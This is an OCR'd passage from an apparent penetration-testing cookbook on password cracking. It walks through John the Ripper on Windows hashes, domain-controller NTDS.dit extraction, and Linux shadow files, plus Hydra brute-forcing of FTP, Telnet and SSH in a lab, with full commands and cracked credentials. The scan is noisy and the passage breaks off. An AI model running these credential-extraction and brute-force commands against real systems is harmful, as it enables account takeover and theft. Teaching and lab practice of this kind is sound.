P Change your picture UserA

Link online IDs mii
& Change your account name Administrator

Manage your file encryption

certificates " Change your account type

Configure advanced user

LR iy Manage ancther account

Change my environment o

: Change User Account Control settings
variables 9 9

® Parental Controls

Windows 7 user administration screen
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Cracking remote Windows machine
passwords

In this recipe, we will crack a remote Windows machine password. In this case, we
will assume we have already launched the attack through Armitage and have taken the
hashes we need. Please refer to Chapter 4, Finding Exploits in the Target and the
Advanced attacks with Armitage recipe if needed.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali machine is powered up
e You have started Armitage up and it's running
e You have collected the needed hashes already from the remote machine
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How to do it...

We will now break the password hashes of a Windows machine:

1. Fromthe Armitage screen select Console | Credentials. Notice from our prior
attack, we have the hashes that we pulled off the Windows XP machine:

Armitage e e °V

Armitage BSUN Hosts Attacks Workspaces Help

» @ auxi| Console
» @ expl{ credentials
> i payll Downloads
* [ post| Jobs
Loot
Script Console ——— o

Reporting

02.168.56.1685 192.168.56.1 192.168.56.1601 192.168,56.163 192.168.56.164

Console X | Credentials X | Crack Passwords X

user A | pass host

Administrator 62c486d8363ab220a3ad3b435b51404ee:a8dacbbe... 192.168.56.101
HelpAssistant 26961674ebe09e817681c095099f655(:108493f43... 192.168.56.101
Jane Doe fSc0d3e784bScb3caad3b435b51404ee:4bd55b01... 192.168.56.101
John Doe 30c1fBa0a70151a9%aad3b435b51404ee:dabd3f201... 192.168.56.101
SUPPORT_388945a0 aad3b435b51404eeaad3b435b51404ee:71calbfea... 192.168.56.101

Refresh Copy Crack Passwords | | Import | | Export

Armitage screen

2. At the bottom select Crack Passwords.

3. From there you will be presented with an Option dialog. Scroll through it a bit and
see the options that are available to you. Without making any changes click
on Launch:
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Crack Passwords @ ® 0

John the Ripper Password Cracker (Fast Mode)

This module uses John the Ripper to identify weak passwords that have been i
acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The r
goal of this module is to find trivial passwords in a short amount of time. To "'
rraele ramnlay neecarde ar en Inean wardlickes Tabhn thas Binnar chald bha oead
Option 4 | Value

CONFIG i
CUSTOM_WORDLIST N
ITERATION_TIMOUT

JOHN_PATH |
Korel ogic 0 v
MUTATE 0

POT e
LISE FRENS 1 L

Show advanced options

Launch

Armitage implementation of John the Ripper

4. It will take a couple of minutes but ultimately you should be given the passwords
as per the following figure:

| Console X | Credentials X [Crack Passwords }(.1

Remaining 4 password hashes with no different salts
*] Cracking Im hashes in incremental mode (Digits)...

Loaded 6 password hashes with no different salts (LM [DES 3/128 AVX-16])
| Remaining 4 password hashes with no different salts

Cracked Passwords this rum:
*] Cracking nt hashes in normal wordlist mode...

Loaded 5 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
*] Remaining 3 password hashes with no different salts

Cracking nt hashes in single mode. ..

Loaded 5 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
Remaining 3 password hashes with no different salts

*] Cracking nt hashes in incremental mode (Digits)...
Loaded 5 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
Remaining 3 password hashes with no different salts

] Cracked Passwords this rum:

Jane Doe:janel23:4:

auxiliaryl(

Armitage output screen
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There's more...

This attack uses John the Ripper to extract passwords. If for some reason it was not able
to crack your passwords in this run, we will be talking about further advanced
techniques and various options to make John the Ripper more effective. We will be
exploring this further as we continue through this chapter.
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Windows domain password attacks

In this recipe, we will try to crack the active directory database from a Windows
domain controller. We will assume you have already recovered the needed files, the
system file, and wros.aqi+ files from the computer through other exploitation means.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali machine is powered up
e Your domain controller has some sample accounts on it
e You have collected the system file and the wrps.aqit files through other means
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How to do it...

We will now recover passwords from a windows domain controller:

1. Open up a terminal by clicking on the terminal icon. .

2. We need to install a couple of packages to assist us with the cracking of the Active
Directory (AD) Domain. Specifically, these are 1ivexear and ntasxtract.

3. If you do not already have a logon to GitHub, open your browser and go to
www. github.com and register as a user.

4. To download 1ivexear enter the following commands:

cd

apt install autoconf automake autopoint libtool pkg-config
git clone https://www.github.com/libyal/libesedb.git

cd libesedb

./synclibs.sh

./autogen.sh

./configure

make install

For more detailed instructions or issues on installation refer to the
following site: https:/github.com/libyal/libesedb/wiki/Building.

5. Now let's get the ntasxtract scripts:

cd
git clone https://www.github.com/csababarta/ntdsxtract.git

6. Let's change to the directory that contains the files we obtained from the domain
controller. In my case AD files, from here we will use esedpexport to parse and
extract the ntas.ai file:

esedbexport -t ./actived ./ntds.dit

cd ~/ADfiles
ls -lai
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root@kali: ~/ADfiles @0

File Edit View Search Terminal Help

root@kali:~# cd ADfiles -
root@kali:~/ADfiles# esedbexport -t ./actived ./ntds.dit
esedbexport 20170702

Opening file.
Exporting table
Exporting table

1 (MSysObjects) out of 12.

2 (MSysObjectsShadow) out of 12.

Exporting table 3 (MSysUnicodeFixupVer2) out of 12.

Exporting table 4 (datatable) out of 12.

Exporting table 5 (hiddentable) out of 12.

Exporting table 6 (link table) out of 12.

Exporting table 7 (sdpropcounttable) out of 12.

Exporting table 8 (sdproptable) out of 12.

Exporting table 9 (sd table) out of 12.

Exporting table 10 (MSysDefrag2) out of 12.

Exporting table 11 (quota table) out of 12.

Exporting table 12 (quota rebuild progress table) out of 12.

Export completed.

root@kali:~/ADfiles# 1s -lai

total 24860

1969132 drwxr-xr-x 3 root root 4096 Jul 30 14:45 .

1179820 drwxr-xr-x 32 root root 4096 Jul 30 14:37 ..

1972480 drwxr-xr-x 2 root root 4096 Jul 30 14:46 actived.export
1969974 -rw-r--r-- 1 root root 16793600 Jul 30 14:37 ntds.dit '

1969983 -rw-r--r-- 1 root root 8658752 Jul 30 2017 SYSTEM
root@kali:~/ADfiles# I

Directory listing

7. Now let's see what files are in our new actived.export directory:

cd actived.export

1ls -lai
root@kali:~/ADfiles# cd actived.export
root@kali:~/ADfiles/actived.export# 1s -lai
total 11308
1972480 drwxr-xr-x 2 root root 4696 Jul 30 14:46 .
1969132 drwxr-xr-x 3 root root 4096 Jul 30 14:45 ..
1972484 -rw-r--r-- 1 root root 11192867 Jul 30 14:46 datatable.3
1972485 -rw-r--r-- 1 root root 693 Jul 30 14:46 hiddentable.4
1972486 -rw-r--r-- 1 root root 6722 Jul 30 14:46 link table.5
1972490 -rw-r--r-- 1 root root 313 Jul 30 14:46 MSysDefrag2.9
1972481 -rw-r--r-- 1 root root 76275 Jul 30 14:45 MSysObjects.®
1972482 -rw-r--r-- 1 root root 76275 Jul 30 14:45 MSysObjectsShadow.1
1972483 -rw-r--r-- 1 root root 163 Jul 30 14:45 MSysUnicodeFixupVer2.2
1972492 -rw-r--r-- 1 root root 80 Jul 30 14:46 quota rebuild progress tabl
e.l1
1972491 -rw-r--r-- 1 root root 638 Jul 30 14:46 quota table.10
1972487 -rw-r--r-- 1 root root 14 Jul 38 14:46 sdpropcounttable.é
1972488 -rw-r--r-- 1 root root 96 Jul 30 14:46 sdproptable.7
1972489 -rw-r--r-- 1 root root 182175 Jul 30 14:46 sd table.8
root@kali:~/ADfiles/actived.export# I

Directory listing

8. Now we can extract the hashes and other data output tables that we can then use
with John the Ripper:
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python ~/ntdsxtract/dsusers.py ./datatable.3 ./link table.5 ~/temp --passwordhashes --1lm

root@kali:~/ADfiles/actived.export# python ~/ntdsxtract/dsusers.py ./datatable.3
./link table.5 ~/temp -passwordhashes -lmoutfile lm.out -ntoutfile nt.out -pwdf
ormat john -syshive ~/ADfiles/SYSTEM

[+] Started at: Sun, 30 Jul 2017 19:01:58 UTC

[+] Started with options:

The directory (/root/temp) specified does not exists!
Would you like to create it? [Y/N] y

[+] Initialising engine...
[+] Loading saved map files (Stage 1)...
['] warning: Opening saved maps failed: [Errno 2] No such file or directory: '/r
oot/temp/offlid.map’
[+] Rebuilding maps...
[+] Scanning database - 100% -> 3487 records processed
[+] Sanity checks...
Schema record id: 1811
Schema type id: 10
[+] Extracting schema information - 100% -> 1549 records processed
[+] Loading saved map files (Stage 2)...
[!] Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/r
oot/temp/links.map'
[+] Rebuilding maps...
[+] Extracting object links...

HASH extraction

9. Now if we take a look in our tenp directory we will see several files including the
two output files that we specified as im.out and nt.out:

| 1s -lai ~/temp

root@kali:~# 1s -lai ~/temp

total 600

1972600 drwxr-xr-x 2 root root 4096 Jul 30 15:39 .

1179820 drwxr-xr-x 34 root root 4096 Jul 30 15:02 ..

1972612 -rw-r--r-- root root 1121 Jul 30 15:02 backlinks.map
1972685 -rw-r--r-- root root 73411 Jul 30 15:02 childsrid.map
1972602 -rw-r--r-- root root 43109 Jul 30 15:02 lidrid.map
1972611 -rw-r--r-- root root 1043 Jul 30 15:02 links.map
1970300 -rw-r--r-- root root ® Jul 30 15:39 lm.out
1970299 -rw-r--r-- root root 466 Jul 30 15:39 nt.out
1972601 -rw-r--r-- root root 54821 Jul 30 15:02 offlid.map
1972606 -rw-r--r-- root root 152 Jul 30 15:02 pek.map
1972608 -rw-r--r-- root root 182497 Jul 30 15:02 ridguid.map
1972603 -rw-r--r-- root root 76913 Jul 30 15:02 ridname.map
1972607 -rw-r--r-- root root 2885 Jul 30 15:02 ridsid.map
1972609 -rw-r--r-- root root 23870 Jul 30 15:02 ridtype.map
1972610 -rw-r--r-- root root 52226 Jul 30 15:02 typeidname.map
1972604 -rw-r--r-- root root 67954 Jul 30 15:02 typerid.map
root@kali:-# I

il il

Directory listing

10. Now let's get ready to use ;onn. One of the first things we need to do is make sure
the rocxyou password file is unzipped. Then we will run 50nn and see the output:

cd ~/temp
john nt.out
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john --show nt.out

root@kali:~/temp# john --format=NT --rules -w=/usr/share/wordlists/rockyou.txt n
t.out

Using default input encoding: UTF-8

Rules/masks using ISD-8859-1

Loaded 5 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status

monkey (penny)

penny (leonard)
Passwordl23 (Administrator)
spock (sheldon)

4g 0:00:01:40 DONE (2017-07-30 17:05) 0.03983g/s 2327Kp/s 2327Kc/s 2329KC/s Aaaa
aaaaaaaaaaaing. .Aaaaaaaaaaaaing

Use the "--show" option to display all of the cracked passwords reliably
Session completed

root@kali:~/temp# john --show

Password files required, but none specified

root@kali:~/temp# john --show nt.out
Administrator:Passwordl123:5-1-5-21-4086652059-1371261014-790911335-500: :
penny:monkey:S-1-5-21-4086652059-1371261014-790911335-1107: :
leonard:penny:S5-1-5-21-4086652059-1371261014-790911335-1108::
sheldon:spock:5-1-5-21-4086652059-1371261014-790911335-1109: :

4 password hashes cracked, 1 left
root@kali:~/temp# D

Output of cracked passwords

Try running jonn with the following command line switch with the
——format=tv and USIHg the 1n.out file.
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Cracking local Linux password hashes

In this recipe, we will crack Linux passwords using John the Ripper.

In this recipe, we will also simulate booting off a CD-ROM in order to crack the
passwords using John the Ripper.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali machine is powered up
e You have some sample users and passwords setup on your Linux machine
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How to do it...

We will now crack Linux password with John the Ripper:

1. With your Windows machine off start by going into VirtualBox, clicking on the
Linux VM, and click on Settings:

W e >
v
New Settings S Start

4~ Kali (20170528)
L =» Running

Ubuntu 16.04.02 LTS (20170528)
/"] @ Powered Off

Metasploitable (20170528)
/| @ Powered Off

GParted
@ Powered Off

E Windows XP (Original Install)

@ Powered Off

Windows 7 (Original Install)
L /5 © Powered Off

Windows 2008 Domain Controller
20087 @ Powered Off

VirtualBox virtual machine screen

2. From the settings menu click Storage. Click on the CD-ROM drive and choose the
Kali ISO that you recently downloaded. Then click OK:
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Oracle VM VirtualBox Manager

@ ~ . -

A 4

New  Settings i Start
| Kali (20170528) 5 General Sl
(26 Il

% Running Name: Ubuntu 16.04.02 LTS
[, Ubuntu 16.04.02 LTS (20170528) Operating System: Ubuntu (64-bit)
|/ @ Powered Off = e—

® Ubuntu 16.04.02 LTS - Storage

‘) | Metasploitable (20170528) = : s |

/| @ powered Off L] i =] &A J;.g [ | é}} i |
641 | GParted General  System  Display Storsge  Audic  Network  Ports  Shared Folders  User Interface
26| @ Powered Off

. o Storage Tree Attributes E

™5 windows XP (Criginal Instal -
LXp @ Powered Off N Controller: IDE Optical Drive: ~ IDE Secondary Master [

- - : PR
E,}:] \:f_indnws 7 (Original Install) m ) Choose Virtual Optical Disk File...
15 @ Powered Off & Controller: SATA Lie L DD gparted-live-0.28.1-1-686.iso

Gl Wi i > i Inf i
E;’j ‘;mm:ﬁﬁug: Domain Col 2l Ubuntu 16.04.02 LTS.vdi J annat\OnT Remove Disk from Virtual Drive
ype: -- r
Size: ==
Location: --
Attached to:  -- |

o
&

cancel | (CTHNN

| ¥ Description

None

VirtualBox virtual machine storage settings

3. Now start your Linux VM and it should automatically load the Kali CD. From the
main menu select Live (forensic mode).

Watch the screen carefully depending on what operating system you are
working with, you may be asked to boot off the CD.
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@ [ ] Windows 7 (Original Install) [Running]

"

-~ the quictel you become, the more you are able to hear

Boot menu

Live (amd64) b

Live (amd64 failsafe)

Live (forensic mode)

Live USB Persistence (check kali.org-/prst)
Live U5SB Encrypted Persistence (check kali.org/prst)
Install

Graphical install

Install with speech synthesis

Advanced options

BOS S -2 Leftae

Kali boot screen

4. Let's use places to find our Linux volume: Click Places | Computer | + Other
Locations and double-click on our Linux volume. You can then close places
window:
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SApplications v Places ~

Files « Sun 22:38

@ Recent

1 Home

i Desktop
[ Documents
@ Downloads
1 Music

07 Pictures
H Videos

m Trash

+ Other Locations

{ » | 4 Otherlocations

On This Computer

® Computer

A 13GBVolume

® 511MBVolume

Networks

3 Windows Network

Connect to Server Enter server address.

al=[z|e00

1.0GB/11GB available /
92GB/13.1GB avallable /devidm-0 &

[dev/sdal

9 - Connect

Kali places screen

5. Now open your terminal screen. .
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6. You must change to the directory of your mounted Linux volume. Your ID of the
drive will be different from mine but follow the following steps to find it:

cd /media/root
1ls

7. From the listed directory contents you will probably just have the one drive - ca
into that drive directory:

:~# cd /media/root [

:/media/root# 1s -lai

4
drwxr-x---+ 3 root root 60 Jul 30 22:40 .
drwxr-xr-x 1 root root 08" Jul. 368 22:31 .

drwxr-xr-x 23 root root 4096 Jul 30 21:43 15T086ff-7647-454d-b001-524cf4c

/root# cd 15f0861f-7647-454d-b001-524cf4c3a667/
/root/15T086ff-7647-454d-b001-524cf4c3ab67# D

Directory listing

8. Now let's use the snacow file and John the Ripper to try and crack the passwords. We
are going to use John the Ripper with default settings. You will notice from the
output that we have cracked a few passwords:

cd etc/
john shadow

:/media/root/15f086Tf-7647-454d-b001-524cT4c3a667/etc# john shadow
Created directory: /root/.john
Warning: detected hash type "sha5l2crypt", but the string is also recognized as
"crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHAS

12 128/128 AVX 2x])

Press 'q' or Ctrl-C to abort, almost any other key for status
password (root)

monkey (penny)

penny (leonard)

spock (sheldon)

John the Ripper output screen
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There's more...

Although we did this attack locally against the snadow file, the attack is the exact same if
done remotely, you just need to get the shadow file from the Linux machine through an
exploit.
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Cracking password hashes with a
wordlist

In this recipe, we will crack hashes using John the Ripper and the password lists.
We will also work with a local snadow file from a Linux machine and we will try to

recover passwords based off wordlists.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali machine is powered up
e You have some sample users and passwords setup on your Linux machine
e You copied the shadow file to your Kali root directory
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How to do it...

We will now attempt to crack passwords using a pre-defined wordlist:

1. Verify you have the snacow file copied in the root directory:

root@kali:-# ls
192 168 56 102.txt Downloac test.xml

ADfiles emallllst txt salary.pdf Videos
backdaarad Nc ooks shadow
commands.txt fakehost txt ntdsxt t temp

Desktop hipaaregs.pdf payload exe Templates

Document Internal.xml Pict ; test2.xml

root@kall I

Directory listing

2. Let's extract the rockyou password list:

| gunzip /usr/share/wordlists/rockyou.txt.gz

3. Let's use John the Ripper with the password file that we just extracted against the
shadow f1le. You will note that we have some passwords that we recovered that
appear like very simple passwords:

cd

john --rules -w=/usr/share/wordlists/rockyou.txt shadow
john --show shadow

root@kali:-# cd

root@kali:~# john --rules -w=/usr/share/wordlists/rockyou.txt shadow

Warning: detected hash type "sha5l2crypt", but the string is also recognized as
"crypt"

Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8

Loaded 9 password hashes with 9 different salts (sha512crypt, crypt(3) $6% [SHAS
12 128/128 AVX 2x])

Press 'q' or Ctrl-C to abort, almost any other key for status

monkey (penny)
password (root)
alb2c3 (bernadette)
cinnamon (raj)

penny (leonard)

509 0:00:00:57 0.00% (ETA: 2017-10-15 06:24) ©0.08686g/s 147.8p/s 729.3c/s 729.3C/
s markl23..kobe08

Use the "--show" option to display all of the cracked passwords reliably

Session aborted

root@kali:~# john --show shadow

root:password:17377:0:99999:7:::

penny:monkey:17377:0:99999:7:::

leonard:penny:17377:0:99999:7:::

raj:cinnamon:17377:0:99999:7:::

bernadette:alb2c3:17377:0:99999:7:::

5 password hashes cracked, 4 left
root@kali:~-# I
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John the Ripper output screen

Note that all the passwords we recovered were not actually dictionary
0 words but some were just very simple combinations.
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Brute force password hashes

In this recipe, we will crack hashes using John the Ripper in brute force mode. We will
work with a local shadow file from a Linux machine and we will try to recover passwords
by brute forcing them.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali machine is powered up

e You have some sample users and passwords setup on your Linux machine add
some more and make a couple accounts with random 4 character passwords.

e You copied the shadow file to your Kali root directory

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir
http://www.hiva-network.com/

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

How to do it...

We will use a brute force method of attack on password hashes:

1. Verify you have the snacow file copied in the root directory:

root@kali:~# s
192 168 56 102.txt a yesedb ubl test.xml
ADTil emaillist.txt i salary.pdf

ackdoored exploit Notebook shadow
commands . txt fakehost. txt ntdsxtract t
Desktt hipaaregs.pdf payload.exe

Internal.xml test2.xml

root@kali:~# [J

Directory listing

2. To use a brute force attack against our snaqow file we can use the following
commands. This command will take a very long time to crack any passwords and
1s considered as a last resort:

cd
john -incremental:lanman shadow

root@kali:~# john -incremental:lanman shadow

Warning: detected hash type "sha5l2crypt™, but the string is also recognized as
"crypt”

Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8

Loaded 9 password hashes with 9 different salts (sha5l2crypt, crypt(3) $6% [SHAS
12 128/128 AVX 2x])

Remaining 4 password hashes with 4 different salts

Press 'q' or Ctrl-C to abort, almost any other key for status

6g 0:00:12:57 0g/s 183.6p/s 734.7c/s 734.7C/s 141812..147416

0g 0:00:36:29 0g/s 185.8p/s 743.5c/s 743.5C/s R1801..ULET

John the Ripper progress screen

You can press the spacebar at any time to get an update as to how the
password cracking is going. Also, there are several options after the -
incremental t0 speed mine along, as I knew my passwords were all
lowercase letters, I used -incremental:ilower.

3. After several hours I was able to obtain the passwords for Amy and Sheldon:
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uoot@kali:~# john -incremental:Lower shadow

arning: detected hash type "sha512crypt", but the string is also recognized as
"crypt*

Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8

Loaded 9 password hashes with 9 different salts (sha5l2crypt, crypt(3) $6¢% [SHAS
12 128/128 AVX 2x])

Remaining 4 password hashes with 4 different salts

Press 'q' or Ctrl-C to abort, almost any other key for status

g 0:00:00:07 0g/s 180.4p/s 747.3c/s 747.3C/s amandy..amores

g 0:00:00:13 0g/s 185.3p/s 745.9c/s 745.9C/s joney..juank
0g ©0:00:20:55 0g/s 186.2p/s 745.0c/s 745.0C/s tiams..titto
0g ©:01:05:23 0g/s 183.7p/s 734.9c/s 734.9C/s lesh..buek

0g 0:01:07:18 0g/s 183.8p/s 735.4c/s 735.4C/s caplyg..caybbz

0g ©:01:23:04 0g/s 184.0p/s 736.3c/s 736.3C/s munnark..munnymo
bacd (amy)
spock (sheldon)

John the Ripper output screen
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Cracking FTP passwords

In this recipe, we will try and crack FTP passwords.

Cracking FTP passwords is a great way to both access the system through FTP and get
the username and passwords against other systems and services. For this recipe, we
will use hydra to test the system.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali machine is powered up
e Your Metasploitable machine is powered up
e Validate the IP address of the Metasploitable machine
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How to do it...

Let's attempt to crack an FTP server passwords:

1. Let's start by logging into the Metasploitable machine and we will create a couple
of users to test against:

cd

sudo useradd raj -p cinnamon -m
sudo useradd penny -p monkey -m
sudo useradd leonard -p penny -m

2. Validate the IP address of the Metasploitable machine — in my case it

1S 192.168.56.104.
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You have a username but not a password

In this section we will proceed having a known username but an unknown password:

1. Open a terminal window in Kali by clicking the icon. .

2. We will use a hydra to hunt for passwords using a wordlist. You will note that
quite quickly we get a hit for the user we added:

| hydra -1 penny -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.104/

root@kali:~# hydra -1 penny -P /usr/share/wordlists/rockyou.txt ftp://192.168.56
.104/

Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-07-30 22:17:52

[WARNING] Restorefile (./hydra.restore) from a previous session found, to preven
t overwriting, you have 10 seconds to abort...

[DATA] max 16 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:
14344399), ~14008 tries per task

[DATA] attacking service ftp on port 21

[21]] ] host: login: password:

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2017-07-30 22:18:08
root@kali:~# |J

Hydra output screen
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You have a userlist

In this recipe we will used a defined list of actual or potential usernames that exist on
the server:

1. Open a terminal window in Kali by clicking the icon. .
2. We will use a hydra to hunt for passwords using a wordlist along with a predefined
set of usernames. Let's build our name list:

cd

touch usernames

echo 'penny' >> usernames
echo 'leonard' >> usernames
echo 'raj' >> usernames

3. Now let's run hydra using our username list and wordlist. You will notice that this
does take some time but ultimately you will get the passwords:

| hydra -L ~/usernames -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.104/

root@Kkali: ~ e 0o d
File Edit View Search Terminal Help

root@kali:~# hydra -L ~/usernames -P /usr/share/wordlists/rockyou.txt ftp://192.
168.56.104/

Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-07-30 22:35:50

[DATA] max 16 tasks per 1 server, overall 64 tasks, 43033197 login tries (1:3/p:
14344399), ~42024 tries per task

[DATA] attacking service ftp on port 21

[21][ ] host: login: password:

[STATUS] 14344672.00 tries/min, 14344672 tries in 00:01h, 28688525 to do in 00:0
2h, 16 active

[STATUS] 7172480.00 tries/min, 14344960 tries in 00:02h, 28688237 to do in ©0:04
h, 16 active

[STATUS] 3586382.25 tries/min, 14345529 tries in ©0:04h, 28687668 to do in 00:08
h, 16 active

[STATUS] 1793329.25 tries/min, 14346634 tries in ©0:08h, 28686563 to do in 00:16
h, 16 active

[21]1[ ] host: login: password:

[STATUS] 2206870.77 tries/min, 28689320 tries in 00:13h, 14343877 to do in 00:07
h, 16 active

[STATUS] 1593929.56 tries/min, 28690732 tries in ©0:18h, 14342465 to do in ©00:09
h, 16 active

Hydra output screen
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Cracking Telnet and SSH passwords

In this recipe, we will try and crack Telnet and SSH passwords.

Cracking Telnet and SSH passwords can be used against systems as well as
infrastructures. With this, you have the ability to try and penetrate into switches,
firewalls, routers, pretty much any network equipment and most often Linux machines
will have this method of access enabled.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali machine is powered up
e Your Metasploitable machine is powered up
e Validate the IP address of the Metasploitable machine
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How to do it...

We will attempt to crack Telnet and SSH passwords:

1. Let's start by logging into the Metasploitable machine and we will create a couple
of users to test against:
cd
sudo useradd johndoe -p ketchup -m

sudo useradd janedoe -p mustard -m
sudo useradd kiddoe -p monkey -m

2. Validate the IP address of the Metasploitable machine—in my case it is

192.168.56.104.
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Cracking Telnet passwords with a
userlist

In this recipe we will try and crack telnet passwords based on known or potential
username list:

1. Open a terminal window in Kali by clicking the icon. .
2. We will use a hydra to hunt for passwords using a wordlist along with a predefined
set of usernames. Let's build our name list:

cd

touch usernames2

echo 'kiddoe' >> usernames2
echo 'janedoe' >> usernames2
echo 'johndoe' >> usernames2

3. Now let's run hydra using our username list and wordlist. You will notice that this
does take some time but ultimately you will get the passwords:

| hydra -L ~/usernames2 -P /usr/share/wordlists/rockyou.txt telnet://192.168.56.104

root@kali:~# hydra -L ~/usernames2 -P /usr/share/wordlists/rockyou.txt telnet://
192.168.56.104

Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-07-31 12:03:20

[WARNING] telnet is by its nature unreliable to analyze, if possible better choo
se FTP, SSH, etc. if available

[DATA] max 16 tasks per 1 server, overall 64 tasks, 43033197 login tries (1:3/p:
14344399), ~42024 tries per task

[DATA] attacking service telnet on port 23

[STATUS] 16.00 tries/min, 16 tries in ©0:01h, 43033181 to do in 44826:14h, 16 ac
tive

[STATUS] 12.67 tries/min, 38 tries in ©0:03h, 43033159 to do in 56622:35h, 16 ac
tive

[STATUS] 8.43 tries/min, 59 tries in ©00:07h, 43033139 to do in 85093:47h, 16 act
ive

[STATUS] 4.73 tries/min, 71 tries in ©0:15h, 43033127 to do in 151525:06h, 16 ac
tive

[STATUS] 2.68 tries/min, 83 tries in ©6:31h, 43033115 to do in 267876:50h, 16 ac
tive

Hydra output screen

Telnet can take a very long time and provide unreliable results. However,
because of its prevalence in legacy networks, it's a great method of attack.
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Cracking SSH password with a known
user

In this recipe we will crack SSH passwords with a know username:

1. Open a terminal window in Kali by clicking the icon. .

2. Now let's run hydra using our known username and wordlist. You will notice that
this does take some time but ultimately you will get the passwords:

| hydra -t 4 -1 kiddoe -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.104

root@kali:~# hydra -t 4 -1 kiddoe -P /fusr/share/wordlists/rockyou.txt ssh://192.
168.56.104

fHydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

fHydra (http://www.thc.org/thc-hydra) starting at 2017-07-31 11:58:51

[WARNING] Restorefile (./hydra.restore) from a previous session found, to preven
t overwriting, you have 10 seconds to abort...

[DATA] max 4 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:1
4344399), ~56032 tries per task

[DATA] attacking service ssh on port 22

[22]11 ] host: login: password:

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2017-87-31 11:59:10

Iroot@kali: £ |

Hydra output screen

The -+ 4 slows the amount of processes down so it does not overwhelm or
trigger protections against some SSL instances.
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Cracking RDP and VNC passwords

In this recipe, we will try and crack RDP and VNC passwords on our Windows
machine.

Cracking into either RDP or VNC can be a very powerful method to access any system.
While RDP is restricted to Windows systems VNC is a cross platform remote control
utility covering Windows, Mac, and Linux. You can use your previous scanning to look
for open VNC ports even on Windows machines.

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

Getting ready

Let's ensure the following prerequisites:

Your Kali machine is powered up

Your Windows machine is powered up on the NAT network

Validate internet connectivity

You have some valid users on the system with RDP enabled for them

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

How to do it...

We will now attempt to crack remote access passwords:

1. Let's start by logging into the Windows machine and validate that we have some
accounts ready and also to get VNC downloaded and installed as well.

2. Open internet explorer and browse to ww.uwnc.com. Click Downloads at the top.
Select the latest version of the software and download it.

3. Install vitravnc by double-clicking the icon from the download location:

=% EoR =
@l\j vl & » win7 » Downloads v [ 45 | i Doikands o
Organize Include in library + Share with = New folder = » [i '@
r Favorites Name Date medified Type
B Desktop [E57] 721604 exe 7/30/20179:29PM  Application 1,085 KB
& Downloads desktop.ini 6 P! sett... 1 KB
| Recent Places [E] Filezilla_Server-0_9_60_2.exe 2,189 KB
g:! jre-6-windows-amd64.exe 1 KB
- Libraries UltraVNC_1_2 15_X64_Setup.exe KB
| Documents
, Music
&=/ Pictures
E Videos
1% Computer
Ei,l Network

| ] 5 items

Directory listing

4. When asked, click Run and select Yes when the UAC dialog box comes up. Select
the appropriate language and click the radio button to accept the agreement and
click Next. Click Next on the release notes info. Validate the installation directory
and click Next. Validate the components being installed—Full Installation and
verify if the UltraVNC Server is selected then click Next. At the shortcut name
screen, accept the default and select Next.

5. Atthe select additional tasks screen selects all check boxes and click Next:
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~

10.

(=

&2 Setup - UltraVNC

Select Additional Tasks I c
Which additional tasks should be performed? i i

Select the additional tasks you would like Setup to perform while installing UltraVMec,
then dick Next.

Server configuration:
E| Reqister UltraVMC Server as a system service
@ Start or restart UltraVNC service

[¥] create UltraVNC desktop icons
[¥] Assodate Ultra¥NC Viewer with the .vnc file extension

< Back ][ Mext = ]’ Cancel

Finally, go ahead and click Install.
Once done, click through the remainder of the screens as needed.

. Shut down your Windows machine—switch it back to host only—start the Windows

VM

. For the purpose of this test, we will assume you know how to add users through the

control panel using the user accounts tab. Add two users:
e Username - UserA, paSSWOI'd - franks
e Username - UserB, paSSWOI'd - beans

Make sure if you set these users up as standard users and not admins that you allow

them to access the RDP services. To do this on Windows 7, right-click on My
Computer and then click on Properties:
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QU | + Control Panel » All Control Panel fems » System - [ + W Search Control Panel o]

Control Panel Home " _— .
View basic information about your computer

&) Device Manager Windows edition

LN ' Remote settings Windows 7 Professional
' System protection Copyright © 2009 Microsoft Corporation. All rights reserved.
¥ Advanced system settings Service Pack 1

Get more features with a new edition of Windows 7

m

System

Rating: _'_F_tl Windows Experience Index

Processor: Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz 2.71 GHz

Installed memory (RAM):  2.00 GB

System type: 64-bit Operating System
See gl Pen and Touch: Ne Pen or Touch Input is available for this Display
